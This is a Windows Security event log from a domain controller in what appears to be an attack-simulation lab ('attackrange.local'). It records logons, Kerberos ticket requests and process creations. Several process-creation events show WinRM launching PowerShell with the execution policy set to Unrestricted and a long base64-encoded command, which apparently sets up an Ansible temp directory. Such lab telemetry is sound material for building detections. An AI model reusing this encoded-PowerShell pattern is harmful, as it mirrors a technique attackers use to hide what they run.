The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250799
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B1D9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250798
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B139

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250797
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11B139
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64477

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250796
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B139

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250795
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1168
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQAzAEEAQwA0AEEATgB3AEEANQBBAEQATQBBAE4AUQBBADEAQQBEAEUAQQBNAGcAQQB0AEEARABnAEEATQBBAEEAMABBAEQARQBBAE0AQQBBAHoAQQBEAE0AQQBOAEEAQQAyAEEARABnAEEATwBRAEEANQBBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250794
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1180
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQAzAEEAQwA0AEEATgB3AEEANQBBAEQATQBBAE4AUQBBADEAQQBEAEUAQQBNAGcAQQB0AEEARABnAEEATQBBAEEAMABBAEQARQBBAE0AQQBBAHoAQQBEAE0AQQBOAEEAQQAyAEEARABnAEEATwBRAEEANQBBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250793
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AFAB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250792
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AFAB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250791
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250790
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250789
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250788
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1198
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1180
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250787
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Process Information:
	New Process ID:		0x1180
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250786
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250785
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250784
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
